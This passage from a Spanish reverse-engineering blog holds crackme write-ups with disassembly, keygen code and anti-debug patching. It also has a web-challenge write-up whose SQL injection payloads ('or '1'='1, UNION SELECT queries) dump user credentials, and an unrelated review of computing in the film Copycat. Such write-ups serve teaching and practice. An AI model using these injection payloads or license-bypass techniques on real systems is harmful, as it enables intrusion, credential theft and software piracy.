$PASS_LBL = GUICtrlCreateLabel("Key", 5, 30, 60, 20, BitOR(4096, 1))
$PASS_INP = GUICtrlCreateInput("", 70, 30, 225, 20, 1)
$REGISTER = GUICtrlCreateButton("Register", 5, 55, 60, 20)
$GIVE_UP = GUICtrlCreateButton("Generate", 70, 55, 60, 20) <- Change name of button, Give Up by Generate
$TASK = GUICtrlCreateButton("?", 140, 55, 20, 20)
$AUTHOR = GUICtrlCreateLabel("keygen by deurus", 165, 55, 130, 20, BitOR(4096, 1))
GUISetState(@SW_SHOW, $MAIN)
While True
$MSG = GUIGetMsg()
Switch $MSG
Case $REGISTER
Call("CHECKKEY", GUICtrlRead($NAME_INP), GUICtrlRead($PASS_INP))
Case $GIVE_UP
Call("GETKEY", GUICtrlRead($NAME_INP), GUICtrlRead($PASS_INP)) <- Add the function to the button
Case $TASK
MsgBox(0, "Info", "keygen by deurus")
Case - 3
Exit
EndSwitch
Sleep(15)
WEnd
Func GETKEY($USER, $PASS) <- this is our keygen function
Local $OPKEY = "", $SIG = ""
Local $USER_LEN = StringLen($USER)
Local $PASS_LEN = StringLen($USER)
If $USER_LEN < 4 Then
GUICtrlSetData($PASS_INP ,"min 4 chars");
Else
For $INDEX = 1 To $USER_LEN
$SIG = Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), 32)) & $SIG
Next
GUICtrlSetData($PASS_INP ,$SIG);
EndIf
EndFunc
Func CHECKKEY($USER, $PASS) <- check function, the original
Local $OPKEY = "", $SIG = ""
Local $USER_LEN = StringLen($USER)
Local $PASS_LEN = StringLen($PASS)
If $USER_LEN < $PASS_LEN Then
MsgBox(0, "ERROR", "Invalid username or key.")
ElseIf $USER_LEN < 4 Then
MsgBox(0, "ERROR", "Invalid username or key.")
Exit
EndIf
$PASS_INT = Int($USER_LEN / $PASS_LEN)
$PASS_MOD = Mod($USER_LEN, $PASS_LEN)
$OPKEY = _STRINGREPEAT($PASS, $PASS_INT) & StringLeft($PASS, $PASS_MOD)
For $INDEX = 1 To $USER_LEN
$SIG &= Chr(BitXOR(Asc(StringMid($USER, $INDEX, 1)), Asc(StringMid($OPKEY, $USER_LEN - $INDEX + 1, 1))))
Next
If $SIG = _STRINGREPEAT(Chr(32), $USER_LEN) Then
MsgBox(0, "INFO", "Your key was registered.")
Else
MsgBox(0, "INFO", "Your key is invalid.")
EndIf
EndFunc
Aquí tenemos un Crackme clásico creado por Scarebyte hallá por el año 2000 y que cuenta con varias fases siendo un crackme muy interesante para iniciarse o simplemente para divertirse. Al estar realizado en Delphi, los apartados de las checkboxes y de las trackbars se simplifican y mucho, pero aún así hay que currarselo un poco para dejar todo bien atado. Si os fijáis en las soluciones que aparecen en crackmes.de, en aquellos años se usaba DEDE y aunque yo usaré otra herramienta, DEDE sigue siendo igual de útil.
Desempacado
PEiD nos dice que nos enfrentamos a ASPack 1.08.03 -> Alexey Solodovnikov, así que vamos al lío.
Eliminar la NAG
Tan sencillo como poner un Breakpoint a User32.MessageBoxA. La llamada a NOPear está en la dirección 441CF2.
Password
Desde las string references localizamos los mensajes de chico bueno y chico malo que nos llevan al código a analizar.
0044C3CD |. E8 5294FDFF CALL CrackMe_.00425824
0044C3D2 |. 8B45 FC MOV EAX,[LOCAL.1]
0044C3D5 |. E8 9A76FBFF CALL CrackMe_.00403A74
0044C3DA |. 83F8 0C CMP EAX,0C ; Lengh C = 12
0044C3DD |. 0F85 53010000 JNZ CrackMe_.0044C536 ; Salto a chico malo
0044C3E3 |. 8D55 FC LEA EDX,[LOCAL.1]
0044C3E6 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C3EC |. E8 3394FDFF CALL CrackMe_.00425824
0044C3F1 |. 8B45 FC MOV EAX,[LOCAL.1]
0044C3F4 |. 8038 43 CMP BYTE PTR DS:[EAX],43 ; 1º dígito serial = C
0044C3F7 |. 0F85 27010000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C3FD |. 8D55 F8 LEA EDX,[LOCAL.2]
0044C400 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C406 |. E8 1994FDFF CALL CrackMe_.00425824
0044C40B |. 8B45 F8 MOV EAX,[LOCAL.2]
0044C40E |. 8078 03 6F CMP BYTE PTR DS:[EAX+3],6F ; 4º dígito serial = o
0044C412 |. 0F85 0C010000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C418 |. 8D55 F4 LEA EDX,[LOCAL.3]
0044C41B |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C421 |. E8 FE93FDFF CALL CrackMe_.00425824
0044C426 |. 8B45 F4 MOV EAX,[LOCAL.3]
0044C429 |. 8078 08 6F CMP BYTE PTR DS:[EAX+8],6F ; 9º dígito serial = o
0044C42D |. 0F85 F1000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C433 |. 8D55 F0 LEA EDX,[LOCAL.4]
0044C436 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C43C |. E8 E393FDFF CALL CrackMe_.00425824
0044C441 |. 8B45 F0 MOV EAX,[LOCAL.4]
0044C444 |. 8078 01 6C CMP BYTE PTR DS:[EAX+1],6C ; 2º dígito serial = l
0044C448 |. 0F85 D6000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C44E |. 8D55 EC LEA EDX,[LOCAL.5]
0044C451 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C457 |. E8 C893FDFF CALL CrackMe_.00425824
0044C45C |. 8B45 EC MOV EAX,[LOCAL.5]
0044C45F |. 8078 04 20 CMP BYTE PTR DS:[EAX+4],20 ; 5º dígito serial = espacio
0044C463 |. 0F85 BB000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C469 |. 8D55 E8 LEA EDX,[LOCAL.6]
0044C46C |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C472 |. E8 AD93FDFF CALL CrackMe_.00425824
0044C477 |. 8B45 E8 MOV EAX,[LOCAL.6]
0044C47A |. 8078 0A 52 CMP BYTE PTR DS:[EAX+A],52 ; 11º dígito serial = R
0044C47E |. 0F85 A0000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C484 |. 8D55 E4 LEA EDX,[LOCAL.7]
0044C487 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C48D |. E8 9293FDFF CALL CrackMe_.00425824
0044C492 |. 8B45 E4 MOV EAX,[LOCAL.7]
0044C495 |. 8078 07 75 CMP BYTE PTR DS:[EAX+7],75 ; 8º dígito serial = u
0044C499 |. 0F85 85000000 JNZ CrackMe_.0044C524 ; Salto a chico malo
0044C49F |. 8D55 E0 LEA EDX,[LOCAL.8]
0044C4A2 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4A8 |. E8 7793FDFF CALL CrackMe_.00425824
0044C4AD |. 8B45 E0 MOV EAX,[LOCAL.8]
0044C4B0 |. 8078 09 6E CMP BYTE PTR DS:[EAX+9],6E ; 10º dígito serial = n
0044C4B4 |. 75 6E JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4B6 |. 8D55 DC LEA EDX,[LOCAL.9]
0044C4B9 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4BF |. E8 6093FDFF CALL CrackMe_.00425824
0044C4C4 |. 8B45 DC MOV EAX,[LOCAL.9]
0044C4C7 |. 8078 02 6E CMP BYTE PTR DS:[EAX+2],6E ; 3º dígito serial = n
0044C4CB |. 75 57 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4CD |. 8D55 D8 LEA EDX,[LOCAL.10]
0044C4D0 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4D6 |. E8 4993FDFF CALL CrackMe_.00425824
0044C4DB |. 8B45 D8 MOV EAX,[LOCAL.10]
0044C4DE |. 8078 05 69 CMP BYTE PTR DS:[EAX+5],69 ; 6º dígito serial = i
0044C4E2 |. 75 40 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4E4 |. 8D55 D4 LEA EDX,[LOCAL.11]
0044C4E7 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C4ED |. E8 3293FDFF CALL CrackMe_.00425824
0044C4F2 |. 8B45 D4 MOV EAX,[LOCAL.11]
0044C4F5 |. 8078 0B 6E CMP BYTE PTR DS:[EAX+B],6E ; 12º dígito serial = n
0044C4F9 |. 75 29 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C4FB |. 8D55 D0 LEA EDX,[LOCAL.12]
0044C4FE |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C504 |. E8 1B93FDFF CALL CrackMe_.00425824
0044C509 |. 8B45 D0 MOV EAX,[LOCAL.12]
0044C50C |. 8078 06 67 CMP BYTE PTR DS:[EAX+6],67 ; 7º dígito serial = g
0044C510 |. 75 12 JNZ SHORT CrackMe_.0044C524 ; Salto a chico malo
0044C512 |. BA 78C54400 MOV EDX,CrackMe_.0044C578 ; ASCII "Right Password"
0044C517 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C51D |. E8 3293FDFF CALL CrackMe_.00425854
0044C522 |. EB 22 JMP SHORT CrackMe_.0044C546
0044C524 |> BA 90C54400 MOV EDX,CrackMe_.0044C590 ; ASCII "Wrong Password"
0044C529 |. 8B83 E8020000 MOV EAX,DWORD PTR DS:[EBX+2E8]
0044C52F |. E8 2093FDFF CALL CrackMe_.00425854
0044C534 |. EB 10 JMP SHORT CrackMe_.0044C546
0044C536 |> BA 90C54400 MOV EDX,CrackMe_.0044C590 ; ASCII "Wrong Password"
Chequeo rápido
ABCD EFGHIJK
Clno iguonRn
; 1º dígito serial = C
; 4º dígito serial = o
; 9º dígito serial = o
; 2º dígito serial = l
; 5º dígito serial = espacio
; 11º dígito serial = R
; 8º dígito serial = u
; 10º dígito serial = n
; 3º dígito serial = n
; 6º dígito serial = i
; 12º dígito serial = n
; 7º dígito serial = g
Básicamente chequea la frase «Cool Running» de forma desordenada como se ve justo encima, siendo el password correcto «Clno iguonRn«. Os dejo el código para que lo analicéis.
Nº serie asociado a un nombre
De nuevo con las string references localizamos el código.
0044C648 /. 55 PUSH EBP
0044C649 |. 8BEC MOV EBP,ESP
0044C64B |. 83C4 F8 ADD ESP,-8
0044C64E |. 53 PUSH EBX
0044C64F |. 56 PUSH ESI
0044C650 |. 33C9 XOR ECX,ECX
0044C652 |. 894D F8 MOV [LOCAL.2],ECX
0044C655 |. 8BF0 MOV ESI,EAX
0044C657 |. 33C0 XOR EAX,EAX
0044C659 |. 55 PUSH EBP
0044C65A |. 68 83C74400 PUSH CrackMe_.0044C783
0044C65F |. 64:FF30 PUSH DWORD PTR FS:[EAX]
0044C662 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
0044C665 |. 33C0 XOR EAX,EAX
0044C667 |. 8945 FC MOV [LOCAL.1],EAX
0044C66A |. A1 80F84400 MOV EAX,DWORD PTR DS:[44F880] ; Eax = Nombre
0044C66F |. E8 0074FBFF CALL CrackMe_.00403A74
0044C674 |. 83F8 06 CMP EAX,6 ; Cmp lengh nombre con 6
0044C677 |. 0F8E F0000000 JLE CrackMe_.0044C76D ; Salta si <= 6
0044C67D |. A1 80F84400 MOV EAX,DWORD PTR DS:[44F880] ; Eax = Nombre
0044C682 |. E8 ED73FBFF CALL CrackMe_.00403A74
0044C687 |. 83F8 14 CMP EAX,14 ; Cmp lengh nombre con 20 (14h)
0044C68A |. 0F8D DD000000 JGE CrackMe_.0044C76D ; salta si >= 20
0044C690 |. A1 80F84400 MOV EAX,DWORD PTR DS:[44F880]
0044C695 |. E8 DA73FBFF CALL CrackMe_.00403A74
0044C69A |. 85C0 TEST EAX,EAX
0044C69C |. 7E 17 JLE SHORT CrackMe_.0044C6B5
0044C69E |. BA 01000000 MOV EDX,1
0044C6A3 |> 8B0D 80F84400 /MOV ECX,DWORD PTR DS:[44F880] ; Bucle in
0044C6A9 |. 0FB64C11 FF |MOVZX ECX,BYTE PTR DS:[ECX+EDX-1]
0044C6AE |. 014D FC |ADD [LOCAL.1],ECX ; Suma dig nombre y guarda en 12FBC4
0044C6B1 |. 42 |INC EDX
0044C6B2 |. 48 |DEC EAX
0044C6B3 |.^ 75 EE \JNZ SHORT CrackMe_.0044C6A3 ; Bucle out
0044C6B5 |> A1 84F84400 MOV EAX,DWORD PTR DS:[44F884] ; Eax = Compañia
0044C6BA |. E8 B573FBFF CALL CrackMe_.00403A74
0044C6BF |. 83F8 02 CMP EAX,2 ; Cmp lengh compañia con 2
0044C6C2 |. 7E 18 JLE SHORT CrackMe_.0044C6DC ; Salta si <= 2
0044C6C4 |. A1 84F84400 MOV EAX,DWORD PTR DS:[44F884] ; Eax = Compañia
0044C6C9 |. E8 A673FBFF CALL CrackMe_.00403A74
0044C6CE |. 83F8 08 CMP EAX,8 ; Cmp lengh compañia con 8
0044C6D1 |. 7D 09 JGE SHORT CrackMe_.0044C6DC ; Salta si >= 8
0044C6D3 |. 8B45 FC MOV EAX,[LOCAL.1] ; Eax = sum nombre
0044C6D6 |. 6BC0 02 IMUL EAX,EAX,2 ; Sum nombre * 2
0044C6D9 |. 8945 FC MOV [LOCAL.1],EAX
0044C6DC |> 68 98C74400 PUSH CrackMe_.0044C798 ; ASCII "I Love Cracking and "
0044C6E1 |. 8D55 F8 LEA EDX,[LOCAL.2]
0044C6E4 |. 8B45 FC MOV EAX,[LOCAL.1]
0044C6E7 |. E8 68B0FBFF CALL CrackMe_.00407754
0044C6EC |. FF75 F8 PUSH [LOCAL.2] ; sum del nombre
0044C6EF |. 68 B8C74400 PUSH CrackMe_.0044C7B8 ; ASCII " Girls ;)"
0044C6F4 |. B8 8CF84400 MOV EAX,CrackMe_.0044F88C
0044C6F9 |. BA 03000000 MOV EDX,3
0044C6FE |. E8 3174FBFF CALL CrackMe_.00403B34 ; Concatena 1º frase + sum nombre + 2ºfrase
0044C703 |. 33C0 XOR EAX,EAX
0044C705 |. 8945 FC MOV [LOCAL.1],EAX
0044C708 |. A1 88F84400 MOV EAX,DWORD PTR DS:[44F888] ; Eax = Serial
0044C70D |. E8 6273FBFF CALL CrackMe_.00403A74
0044C712 |. 8BD8 MOV EBX,EAX
0044C714 |. A1 8CF84400 MOV EAX,DWORD PTR DS:[44F88C]
0044C719 |. E8 5673FBFF CALL CrackMe_.00403A74
0044C71E |. 3BD8 CMP EBX,EAX ; Compara tamaño frase con tamaño serial
0044C720 |. 75 4B JNZ SHORT CrackMe_.0044C76D
0044C722 |. A1 88F84400 MOV EAX,DWORD PTR DS:[44F888]
0044C727 |. E8 4873FBFF CALL CrackMe_.00403A74
0044C72C |. 85C0 TEST EAX,EAX
0044C72E |. 7E 27 JLE SHORT CrackMe_.0044C757
0044C730 |. BA 01000000 MOV EDX,1
0044C735 |> 8B0D 88F84400 /MOV ECX,DWORD PTR DS:[44F888] ; Bucle in -->
0044C73B |. 0FB64C11 FF |MOVZX ECX,BYTE PTR DS:[ECX+EDX-1]
0044C740 |. 034D FC |ADD ECX,[LOCAL.1]
0044C743 |. 8B1D 8CF84400 |MOV EBX,DWORD PTR DS:[44F88C]
0044C749 |. 0FB65C13 FF |MOVZX EBX,BYTE PTR DS:[EBX+EDX-1] ; Compara dígito a dígito nuestro serial
0044C74E |. 2BCB |SUB ECX,EBX ; con la concatenación anterior
0044C750 |. 894D FC |MOV [LOCAL.1],ECX
0044C753 |. 42 |INC EDX
0044C754 |. 48 |DEC EAX
0044C755 |.^ 75 DE \JNZ SHORT CrackMe_.0044C735 ; <-- Bucle out
0044C757 |> 837D FC 00 CMP [LOCAL.1],0
0044C75B |. 75 10 JNZ SHORT CrackMe_.0044C76D ; Salta si algo ha ido mal
0044C75D |. 8B86 14030000 MOV EAX,DWORD PTR DS:[ESI+314]
0044C763 |. BA CCC74400 MOV EDX,CrackMe_.0044C7CC ; "You have found the correct Serial :)"
En resumen
Tamaño del nombre entre 7 y 19.
Tamaño de la compañía entre 3 y 7 aunque no interviene en el serial.
Suma los valores ascii de los dígitos del nombre y lo multiplica por 2.
Concatena «I Love Cracking and » + «sum del nombre» + » Girls ;)».
Checkbox
Para afrontar esta parte del reto vamos a usar una herramienta llamada Interactive Delphi Reconstructoro IDR. En su día la mejor herramienta era DEDE, pero IDR a mi parecer es algo más potente.
Básicamente IDR nos permite sin quebraderos de cabeza localizar el código del botón que comprueba la secuencia de checkboxes correcta. Cargamos el crackme en IDR y dentro de la pestaña «Units (F2)«, abajo del todo hacemos doble click sobre «F Crack» y vemos que nos muestra todos los controles del formulario. El botón que nos interesa se llama «SpeedButton3«.
Si hacemos doble click sobre el nos muestra el código que se muestra a continuación.
Como podéis apreciar, las checkboxes involucradas son la 3, 5, 6, 9, 11, 12, 13, 15, 19 y 20. Solo nos falta saber cuales se corresponden con esa numeración y aquí ya depende de cada uno, yo en su día saqué los números a mano mediante el orden de tabulación, pero ya que tenemos IDR, el nos va a dar la solución de una forma sencilla y rápida.
Vamos a la pestaña «Forms (F5)«, seleccionamos la opción Form y hacemos doble click sobre el formulario.
Veréis que aparece el formulario con todos los recursos, incluso los puedes modificar. Localizar los checkboxes ahora es un juego de niños.
Os dejo un vídeo.
Trackbar
De nuevo, con la ayuda de IDR, localizamos la parte del código y analizamos su funcionamiento. Esta parte es la más divertida ya que requiere de un keygen pero en vez de coger el número de serie de una caja de texto lo obtiene de 5 trackbars como muestra la siguiente imagen.
1) Siendo nuestro serial : 1 2 3 4 5
a b c d e
2) Realiza las operaciones matemáticas:
Round(((Cos(sqrt(b^3+5)) + (-sqrt(a+1)) + Ln(c*3+1) + (-sqrt(d+2)) + ((e*3)/2))+0.37)*1000))
3) Obtenemos un hash resultante de 5415
4) XORea los dígitos de la siguiente manera:
(5)35 xor 86 = B6
(4)34 xor 83 = BD
(1)31 xor 86 = B7
(5)35 xor 8D = B8
De modo que tenemos B6BDB7B8
5) Compara B6BDB7B8 con B5BAB2BA
6) Revertimos el XOR para obtener el hash bueno
B5 xor 86 = 36(6)
BA xor 83 = 33(3)
B2 xor 86 = 34(4)
BA xor 8D = 37(7)
Luego el hash bueno es 6347
7) Debemos hacer fuerza bruta buscando:
Round(((Cos(sqrt(b^3+5)) + (-sqrt(a+1)) + Ln(c*3+1) + (-sqrt(d+2)) + ((e*3)/2))+0.37)*1000)) = 6347
Para obtener los seriales válidos podemos hacer bucles recursivos hasta recorrer las 10^5 opciones posibles. Una forma de hacerlo en VBNet es la siguiente.
Dim tmp As Double
Dim an, bn, cn, dn, en As Integer
For an = 0 To 9
For bn = 0 To 9
For cn = 0 To 9
For dn = 0 To 9
For en = 0 To 9
tmp = Round(((Cos(Sqrt((Pow(bn, 3)) + 5)) + (-Sqrt(an + 1)) + Log(cn * 3 + 1) + (-Sqrt(dn + 2)) + ((en * 3) / 2) + 0.37) * 1000))
txtdebug.Text = "a-b-c-d-e = Hash || " & an & "-" & bn & "-" & cn & "-" & dn & "-" & en & " = " & tmp
If tmp = 6347 Then
ListBox1.Items.Add("Serial: " & an & bn & cn & dn & en)
End If
Application.DoEvents()
Next
Next
Next
Next
Next
Os dejo como siempre el crackme y el keygen en los enlaces.
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1
Seguido tenemos la pregunta de seguridad.
Introducimos cualquier cosa y nos muestra el siguiente error.
El error nombra la tabla «security«, luego la usaremos.
Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.
Inyección SQL Avanzada
Para inyectar a continuación meter cualquier nombre y la inyección en el password.
Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password
Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.
Obtener ID, name, password para los usuarios con ID = 1,2,3,4…
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4…
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users
Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.
Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.
Saltar el antidebug
Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.
Aquí vemos el call.
Call Nopeado.
Encontrando un serial válido
Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.
El algoritmo
Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.
Comprueba si el dígito está es mayúsculas y si está le sume 2C al valor ascii.
Suma el valor ascii de todos los dígitos menos el último.
SUM + 29A
SUM * 3039
SUM – 17
SUM * 9
Finalmente concatena letras siguiendo este criterio:
Len(nombre) = 4 -> coje la última letra
Len(nombre) = 5 -> coje las dos últimas
Len(nombre) = 6 -> coje las tres últimas
Len(nombre) = 7 -> coje las cuatro últimas
Len(nombre) = 8 -> coje las cinco últimas
Len(nombre) = 9 -> coje las seis últimas
Len(nombre) = A -> coje las siete últimas
Ejemplo para deurus
d e u r u (s)
64+65+75+72+75 = 225
225 + 29A = 4BF
4BF * 3039 = E4DE87
E4DE87 - 17 = E4DE70
E4DE70 * 9 = 80BD1F0
;Pasamos a decimal y concatenamos
134992368rus
Ejemplo para Deurus
D e u r u (s)
44(+2C)+65+75+72+75 = 25D
25D + 29A = 4F7
4BF * 3039 = EF6AFF
EF6AFF - 17 = EF6AE8
EF6AE8 * 9 = 86AC228
;Pasamos a decimal y concatenamos
141214248rus
Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.
Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar elementos tecnológicos que, vistos desde una perspectiva actual, nos sacan una sonrisa. Vamos a desmontar algunos gazapos tecnológicos y curiosidades relacionadas con los sistemas informáticos que aparecen en la película.
El escritorio de tres pantallas: ¿el futuro en 1995?
La protagonista, la Dra. Helen Hudson (Sigourney Weaver), trabaja en un escritorio con tres pantallas, algo futurista para la época. En 1995, esto no era tan común como hoy en día. Para lograrlo, probablemente necesitaría tres ordenadores conectados de forma independiente, ya que los sistemas operativos y hardware de la época no solían soportar múltiples monitores en una sola máquina. Esto plantea preguntas interesantes sobre la logística de su set-up: ¿Cómo sincronizaba su trabajo entre tres PCs?
Un detalle curioso es que, en algunas tomas, se distingue la marca Compaq en los equipos. Compaq era una de las compañías líderes en la fabricación de ordenadores personales durante los 90 y conocida por sus soluciones de alta calidad. Este dato refuerza la idea de que el set-up de Helen estaba diseñado para representar lo último en tecnología de la época, aunque hoy resulte un tanto rudimentario. La elección de Compaq no es casual: en ese momento, era sinónimo de equipos potentes, usados tanto en oficinas como en entornos domésticos avanzados.
Internet y la magia de los módems
En una escena, Helen navega por internet con lo que suponemos es un módem de 28.8 kbps (o como mucho, un flamante 33.6 kbps, tecnología de vanguardia allá por 1995). Hasta ahí, vale. Sin embargo, la fluidez de su conexión sorprende: carga archivos, recibe correos y no se queda esperando con una pantalla de “Conectando…”. Pero lo mejor llega cuando, estando conectada, ¡suena el teléfono! En la realidad, esto cortaría la conexión o comunicaría, a menos que tuviera dos líneas telefónicas (algo raro en domicilios particulares de la época) o algún dispositivo milagroso que no conocemos.
¿Qué sistema operativo usa?
Aunque no se distingue claramente el sistema operativo, vemos una interfaz gráfica con ventanas y una consola de comandos. Esto podría ser un guiño a Windows 3.1 o Windows 3.11, ya maduro en esa época aunque la interfaz no termina de encajar. Sin embargo, también podría ser una mezcla ficticia para hacer que el entorno luciera “tecnológico” sin comprometerse demasiado con la realidad. Detalle curioso: en los 90, las películas solían personalizar las interfaces para no tener problemas legales.
El email como el epicentro de la tecnología
En los 90, el email era el rey. En las películas, los escritorios siempre tenían un gran icono de correo (a menudo animado, porque lo cool siempre parpadeaba). En Copycat, Helen recibe un correo con un archivo AVI de unos 30 segundos, lo cual plantea otra duda técnica: ¿Cuánto espacio ocupaba ese archivo en 1995?
Un AVI de 30 segundos probablemente tendría una resolución baja (320×240 píxeles o menos) y una tasa de compresión eficiente para la época, pero aun así podría pesar entre 2 y 5 MB, dependiendo de la calidad del audio y vídeo. Eso hubiera supuesto una odisea por email, ya que los servidores de la época limitaban los adjuntos a unos pocos cientos de KB. ¿Quizás el villano usó un protocolo privado para saltarse las restricciones?
Tomorrow.AVI
Tras recibir un inquietante archivo AVI, la protagonista llama a la policía, lo que desencadena una conversación cargada de decisiones tecnológicas cuestionables:
«¿Cómo le han enviado esto?» / «Consiguiendo su dirección de internet»: El archivo es descrito como enviado a través de «su dirección de internet», un término extraño para la época en la que lo habitual habría sido referirse al correo electrónico. Esto refleja un intento de sonar sofisticado sin usar los términos correctos.
«¿No podríamos localizarlo?»: La respuesta de los policías es que no pueden rastrear el origen del archivo «a no ser que esté conectado». Sin embargo, incluso en 1995, las cabeceras de los emails contenían suficiente información para rastrear el servidor de origen, aunque la práctica era más rudimentaria que en la actualidad. Ignorar esto parece una licencia creativa del guion o un concepto equivocado de localizar asociándolo quizá a las llamadas telefónicas.
«Es demasiado grande para pasarlo a disco»: Aquí surge el principal obstáculo: el archivo AVI es considerado «demasiado grande» para transferirlo a un disquete de 3,5 pulgadas (con una capacidad máxima de 1,44 MB). Aunque esto tiene sentido desde una perspectiva técnica, resulta extraño que fuera posible enviarlo por email en primer lugar, dado que los servidores de correo de la época tenían limitaciones más estrictas que un disquete. Esto sugiere una inconsistencia en la lógica tecnológica de la escena.
«Lo pasaremos a vídeo»: Ante la imposibilidad de transferirlo a un disquete, la solución propuesta es convertir el archivo a un formato reproducible en un dispositivo analógico (probablemente una cinta VHS) para transportarlo físicamente. Aunque esta decisión es plausible dentro de las limitaciones tecnológicas de la época, omite soluciones más digitales, como volver a enviarlo por email (¿acaso la policía no tenía correo electrónico?). Además, surge la pregunta de por qué no se recurre a los forenses técnicos de la policía (o del FBI) para analizar el disco duro, quienes, curiosamente, no aparecen en ningún momento de la película.
«Oh, Dios. ¿Cómo sabes todas estas cosas?» / «Malgasté mi juventud en los salones de videojuegos»: Esta frase añade un toque humorístico, pero no tiene relación alguna con las habilidades necesarias para resolver el problema en cuestión. Más bien, refuerza la desconexión entre los diálogos y las acciones tecnológicas presentadas.
Conclusión
Copycat (1995) es un buen ejemplo de cómo el cine de los 90 abordaba la tecnología con una mezcla de admiración y confusión. Desde la exageración de tener tres monitores en el escritorio de Helen hasta la torpe gestión del archivo Tomorrow.AVI, la película refleja tanto las limitaciones tecnológicas de la época como las libertades creativas de los guionistas.
